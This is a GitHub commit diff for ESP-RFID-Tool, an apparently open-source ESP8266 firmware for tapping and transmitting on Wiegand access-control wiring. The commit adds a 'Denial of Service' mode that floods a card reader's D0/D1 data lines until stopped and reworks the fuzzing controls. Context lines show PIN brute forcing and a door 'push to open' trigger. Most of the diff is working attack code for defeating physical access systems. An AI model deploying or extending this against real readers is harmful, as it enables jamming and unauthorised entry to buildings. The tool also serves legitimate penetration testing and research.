Skip to content

Commit 7805576

Browse files
exploitagencyexploitagency
committed
Release v1.1.5 - Add Denial of Service Mode and Update Fuzzing Control
* Add Denial of Service Mode * Update Fuzzing Control * Allow terminating transmission * Update TX Interface
1 parent 125e3da commit 7805576

File tree

2 files changed

+112
-21
lines changed

2 files changed

+112
-21
lines changed

‎Source Code/esprfidtool/esprfidtool.ino

Lines changed: 111 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -77,6 +77,7 @@ int txdelayus;
7777
int txdelayms;
7878
int safemode;
7979

80+
int dos=0;
8081
int TXstatus=0;
8182
String pinHTML;
8283

@@ -391,7 +392,7 @@ void LogWiegand(WiegandNG &tempwg) {
391392

392393
f.print(String()+countedBits+F(" bit card,"));
393394

394-
if (countedBits==4) {
395+
if (countedBits==4||countedBits==8) {
395396
f.print(F("possible keypad entry,"));
396397
}
397398

@@ -1266,7 +1267,7 @@ void setup() {
12661267
}
12671268

12681269
if (server.hasArg("bruteSTART")) {
1269-
server.send(200, "text/html", String()+"<a href=\"/\"><- BACK TO INDEX</a><br><br><a href=\"/experimental\"><- BACK TO EXPERIMENTAL TX MODE</a><br><br>Brute forcing "+pinBITS+"bit Wiegand Format PIN from "+(server.arg("bruteSTART"))+" to "+(server.arg("bruteEND"))+" with a "+pinHTMLDELAY+"ms delay between \"keypresses\"<br>This may take a while, your device will be busy until the sequence has been completely transmitted!<br>Please \"STOP CURRENT TRANSMISSION\" before attempting to use your device or simply wait for the transmission to finish.<br>You can view if the brute force attempt has completed by returning to the Experimental TX page and checking the status located under \"Bruteforce PIN\"<br><br><a href=\"/stoptx\"><button>STOP CURRENT TRANSMISSION</button></a>");
1270+
server.send(200, "text/html", String()+"<a href=\"/\"><- BACK TO INDEX</a><br><br><a href=\"/experimental\"><- BACK TO EXPERIMENTAL TX MODE</a><br><br>Brute forcing "+pinBITS+"bit Wiegand Format PIN from "+(server.arg("bruteSTART"))+" to "+(server.arg("bruteEND"))+" with a "+pinHTMLDELAY+"ms delay between \"keypresses\"<br>This may take a while, your device will be busy until the sequence has been completely transmitted!<br>Please \"STOP CURRENT TRANSMISSION\" before attempting to use your device or simply wait for the transmission to finish.<br>You can view if the brute force attempt has completed by returning to the Experimental TX page and checking the status located under \"Transmit Status\"<br><br><a href=\"/stoptx\"><button>STOP CURRENT TRANSMISSION</button></a>");
12701271
delay(50);
12711272
}
12721273

@@ -1489,41 +1490,103 @@ void setup() {
14891490
}
14901491

14911492
if (server.arg("fuzzType")=="simultaneous") {
1493+
1494+
int fuzzTimes=0;
1495+
dos=0;
1496+
if ((server.arg("fuzzTimes"))=="dos") {
1497+
dos=1;
1498+
server.send(200, "text/html", String()+
1499+
"<a href=\"/\"><- BACK TO INDEX</a><br><br>"
1500+
"<a href=\"/experimental\"><- BACK TO EXPERIMENTAL TX MODE</a><br><br>"
1501+
"Denial of Service mode active.<br>Transmitting D0 and D1 bits simultaneously until stopped."
1502+
"<br>This may take a while, your device will be busy until the sequence has been completely transmitted!"
1503+
"<br>Please \"STOP CURRENT TRANSMISSION\" before attempting to use your device or simply wait for the transmission to finish.<br>"
1504+
"You can view if the fuzzing attempt has completed by returning to the Experimental TX page and checking the status located under \"Transmit Status\"<br><br>"
1505+
"<a href=\"/stoptx\"><button>STOP CURRENT TRANSMISSION</button></a>");
1506+
delay(50);
1507+
}
1508+
else {
1509+
fuzzTimes=server.arg("fuzzTimes").toInt();
1510+
server.send(200, "text/html", String()+
1511+
"<a href=\"/\"><- BACK TO INDEX</a><br><br>"
1512+
"<a href=\"/experimental\"><- BACK TO EXPERIMENTAL TX MODE</a><br><br>"
1513+
"Transmitting D0 and D1 bits simultaneously "+fuzzTimes+" times."
1514+
"<br>This may take a while, your device will be busy until the sequence has been completely transmitted!"
1515+
"<br>Please \"STOP CURRENT TRANSMISSION\" before attempting to use your device or simply wait for the transmission to finish.<br>"
1516+
"You can view if the fuzzing attempt has completed by returning to the Experimental TX page and checking the status located under \"Transmit Status\"<br><br>"
1517+
"<a href=\"/stoptx\"><button>STOP CURRENT TRANSMISSION</button></a>");
1518+
delay(50);
1519+
}
1520+
14921521
wg.pause();
14931522
digitalWrite(DATA0, HIGH);
14941523
pinMode(DATA0,OUTPUT);
14951524
digitalWrite(DATA1, HIGH);
14961525
pinMode(DATA1,OUTPUT);
14971526

1498-
int fuzzTimes=server.arg("fuzzTimes").toInt();
1527+
TXstatus=1;
14991528

1500-
for (int i=0; i<=fuzzTimes; i++) {
1529+
for (int i=0; i<=fuzzTimes || dos==1; i++) {
15011530
digitalWrite(DATA0, LOW);
15021531
digitalWrite(DATA1, LOW);
15031532
delayMicroseconds(txdelayus);
15041533
digitalWrite(DATA0, HIGH);
15051534
digitalWrite(DATA1, HIGH);
15061535
delay(txdelayms);
1536+
server.handleClient();
1537+
if (TXstatus!=1) {
1538+
break;
1539+
}
15071540
}
15081541

15091542
pinMode(DATA0, INPUT);
15101543
pinMode(DATA1, INPUT);
15111544
wg.clear();
1545+
TXstatus=0;
1546+
dos=0;
15121547

1513-
experimentalStatus=String()+"Transmitting D0 and D1 bits simultaneously "+fuzzTimes+" times.";
1548+
//experimentalStatus=String()+"Transmitting D0 and D1 bits simultaneously "+fuzzTimes+" times.";
15141549
}
15151550

15161551
if (server.arg("fuzzType")=="alternating") {
1552+
1553+
int fuzzTimes=0;
1554+
dos=0;
1555+
if ((server.arg("fuzzTimes"))=="dos") {
1556+
dos=1;
1557+
server.send(200, "text/html", String()+
1558+
"<a href=\"/\"><- BACK TO INDEX</a><br><br>"
1559+
"<a href=\"/experimental\"><- BACK TO EXPERIMENTAL TX MODE</a><br><br>"
1560+
"Denial of Service mode active.<br>Transmitting bits alternating between D0 and D1 until stopped."
1561+
"<br>This may take a while, your device will be busy until the sequence has been completely transmitted!"
1562+
"<br>Please \"STOP CURRENT TRANSMISSION\" before attempting to use your device or simply wait for the transmission to finish.<br>"
1563+
"You can view if the fuzzing attempt has completed by returning to the Experimental TX page and checking the status located under \"Transmit Status\"<br><br>"
1564+
"<a href=\"/stoptx\"><button>STOP CURRENT TRANSMISSION</button></a>");
1565+
delay(50);
1566+
}
1567+
else {
1568+
fuzzTimes=server.arg("fuzzTimes").toInt();
1569+
server.send(200, "text/html", String()+
1570+
"<a href=\"/\"><- BACK TO INDEX</a><br><br>"
1571+
"<a href=\"/experimental\"><- BACK TO EXPERIMENTAL TX MODE</a><br><br>"
1572+
"Transmitting "+fuzzTimes+" bits alternating between D0 and D1."
1573+
"<br>This may take a while, your device will be busy until the sequence has been completely transmitted!"
1574+
"<br>Please \"STOP CURRENT TRANSMISSION\" before attempting to use your device or simply wait for the transmission to finish.<br>"
1575+
"You can view if the fuzzing attempt has completed by returning to the Experimental TX page and checking the status located under \"Transmit Status\"<br><br>"
1576+
"<a href=\"/stoptx\"><button>STOP CURRENT TRANSMISSION</button></a>");
1577+
delay(50);
1578+
}
1579+
15171580
wg.pause();
15181581
digitalWrite(DATA0, HIGH);
15191582
pinMode(DATA0,OUTPUT);
15201583
digitalWrite(DATA1, HIGH);
15211584
pinMode(DATA1,OUTPUT);
15221585

1523-
int fuzzTimes=server.arg("fuzzTimes").toInt();
15241586
String binALT="";
1587+
TXstatus=1;
15251588

1526-
for (int i=0; i<fuzzTimes; i++) {
1589+
for (int i=0; i<fuzzTimes || dos==1; i++) {
15271590
if (i%2==0) {
15281591
digitalWrite(DATA0, LOW);
15291592
delayMicroseconds(txdelayus);
@@ -1537,13 +1600,19 @@ void setup() {
15371600
binALT=binALT+"1";
15381601
}
15391602
delay(txdelayms);
1603+
server.handleClient();
1604+
if (TXstatus!=1) {
1605+
break;
1606+
}
15401607
}
15411608

15421609
pinMode(DATA0, INPUT);
15431610
pinMode(DATA1, INPUT);
15441611
wg.clear();
1612+
TXstatus=0;
1613+
dos=0;
15451614

1546-
experimentalStatus=String()+"Transmitting alternating bits: "+binALT;
1615+
//experimentalStatus=String()+"Transmitting alternating bits: "+binALT;
15471616
binALT="";
15481617
}
15491618

@@ -1571,7 +1640,17 @@ void setup() {
15711640

15721641
String activeTX="";
15731642
if (TXstatus==1) {
1574-
activeTX="Transmitting PIN "+pinHTML+"<br><a href=\"/stoptx\"><button>STOP CURRENT ATTACK</button></a>";
1643+
1644+
if (pinHTML!="") {
1645+
activeTX="Brute forcing PIN: "+pinHTML+"<br><a href=\"/stoptx\"><button>STOP CURRENT TRANSMISSION</button></a>";
1646+
}
1647+
else if (dos==1) {
1648+
activeTX="Denial of Service mode active...<br><a href=\"/stoptx\"><button>STOP CURRENT TRANSMISSION</button></a>";
1649+
}
1650+
else {
1651+
activeTX="Transmitting...<br><a href=\"/stoptx\"><button>STOP CURRENT TRANSMISSION</button></a>";
1652+
}
1653+
15751654
}
15761655
else {
15771656
activeTX="INACTIVE<br><button>NOTHING TO STOP</button>";
@@ -1586,17 +1665,18 @@ void setup() {
15861665
"<title>Experimental TX Mode</title>"
15871666
"</head>"
15881667
"<body>"
1589-
)+F("Experimental Status: ")+experimentalStatus+"<br><br>"+F(
1590-
"<a href=\"/\"><- BACK TO INDEX</a><br><br>"
1668+
)+experimentalStatus+"<br><br>"
1669+
+F(
1670+
"<b>Transmit Status:</b> ")+activeTX+F("<br><br>"
1671+
"<a href=\"/\"><- BACK TO INDEX</a><br>"
15911672
"<P>"
15921673
"<h1>Experimental TX Mode</h1>"
15931674
"<hr>"
1594-
"<b>Warning:</b><br>"
1595-
"<small>This mode is highly experimental, use at your own risk!</small><br>"
1596-
"<small>This device operates at 3v3 and may not reliably trigger 5v devices.</small><br>"
1597-
"<small>Recieving Wiegand data during a transmission may damage your device.</small><br>"
1598-
"<small>Do not scan any cards during this time, use at your own risk!</small><br>"
1599-
"<small>Note: Timings for Wiegand data pulse width and data interval may be changed on the settings page.</small><br>"
1675+
"<small>"
1676+
"<b>Warning:</b> This mode is highly experimental, use at your own risk!<br>"
1677+
"Note: Timings for the Wiegand Data Pulse Width and Wiegand Data Interval may be changed on the settings page."
1678+
"</small>"
1679+
"<br>"
16001680
"<hr>"
16011681
"<br>"
16021682
"<FORM action=\"/experimental\" id=\"transmitbinary\" method=\"post\">"
@@ -1636,23 +1716,34 @@ void setup() {
16361716
"<INPUT form=\"brutepin\" type=\"radio\" name=\"pinBITS\" id=\"pinBITS\" value=\"8\" required> <small>8bit Wiegand PIN Format</small><br>"
16371717
"<INPUT form=\"brutepin\" type=\"submit\" value=\"Transmit\"></FORM><br>"
16381718
"<br>"
1639-
"Brute force status: ")+activeTX+F("<br>"
16401719
"<hr>"
16411720
"<br>"
16421721
"<b>Fuzzing:</b><br><br>"
16431722
"<FORM action=\"/experimental\" id=\"fuzz\" method=\"post\">"
16441723
"<b>Number of bits:</b>"
1645-
"<INPUT form=\"fuzz\" type=\"text\" name=\"fuzzTimes\" value=\"\" pattern=\"^[1-9]+[0-9]*$\" required title=\"Must be a number > 0, must not be empty\" minlength=\"1\" size=\"32\"><br>"
1724+
"<INPUT form=\"fuzz\" type=\"number\" name=\"fuzzTimes\" value=\"100\" minlength=\"1\" min=\"1\" max=\"2147483647\" size=\"32\"><br>"
1725+
//"<INPUT form=\"fuzz\" type=\"text\" name=\"fuzzTimes\" value=\"\" pattern=\"^[1-9]+[0-9]*$\" required title=\"Must be a number > 0, must not be empty \" minlength=\"1\" size=\"32\"><br>"
16461726
"<INPUT form=\"fuzz\" type=\"radio\" name=\"fuzzType\" id=\"simultaneous\" value=\"simultaneous\" required> <small>Transmit a bit simultaneously on D0 and D1 (X bits per each line)</small><br>"
16471727
"<INPUT form=\"fuzz\" type=\"radio\" name=\"fuzzType\" id=\"alternating\" value=\"alternating\"> <small>Transmit X bits alternating between D0 and D1 each bit (01010101,etc)</small><br>"
16481728
"<INPUT form=\"fuzz\" type=\"submit\" value=\"Fuzz\"><br>"
16491729
"</FORM>"
16501730
"<br>"
16511731
"<hr>"
16521732
"<br>"
1733+
"<b>Denial Of Service Mode:</b><br><br>"
1734+
"<FORM action=\"/experimental\" id=\"dos\" method=\"post\">"
1735+
"<b>Type of Attack:</b>"
1736+
"<INPUT hidden=\"1\" form=\"dos\" type=\"text\" name=\"fuzzTimes\" value=\"dos\"><br>"
1737+
"<INPUT form=\"dos\" type=\"radio\" name=\"fuzzType\" id=\"simultaneous\" value=\"simultaneous\" required> <small>Transmit a bit simultaneously on D0 and D1 until stopped</small><br>"
1738+
"<INPUT form=\"dos\" type=\"radio\" name=\"fuzzType\" id=\"alternating\" value=\"alternating\"> <small>Transmit bits alternating between D0 and D1 each bit (01010101,etc) until stopped</small><br>"
1739+
"<INPUT form=\"dos\" type=\"submit\" value=\"Start DoS\"><br>"
1740+
"</FORM>"
1741+
"<br>"
1742+
"<hr>"
1743+
"<br>"
16531744
"<b>Push Button for Door Open:</b><br>"
16541745
"<small>Connect \"Push to Open\" wire from the reader to the RX pin(GPIO3) on the programming header on ESP-RFID-Tool.</small><br>"
1655-
"<small>Warning! Selecting the wrong trigger signal type may cause damage to the connected reader.</small><br><br>"
1746+
"<small>Warning! Selecting the wrong trigger signal type may cause damage to the connected hardware.</small><br><br>"
16561747
"<FORM action=\"/experimental\" id=\"push\" method=\"post\">"
16571748
"<b>Time in ms to push the door open button:</b>"
16581749
"<INPUT form=\"push\" type=\"text\" name=\"pushTime\" value=\"50\" pattern=\"^[1-9]+[0-9]*$\" required title=\"Must be a number > 0, must not be empty\" minlength=\"1\" size=\"32\"><br>"

‎Source Code/esprfidtool/version.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
String version = "1.1.4";
1+
String version = "1.1.5";

0 commit comments

Comments
 (0)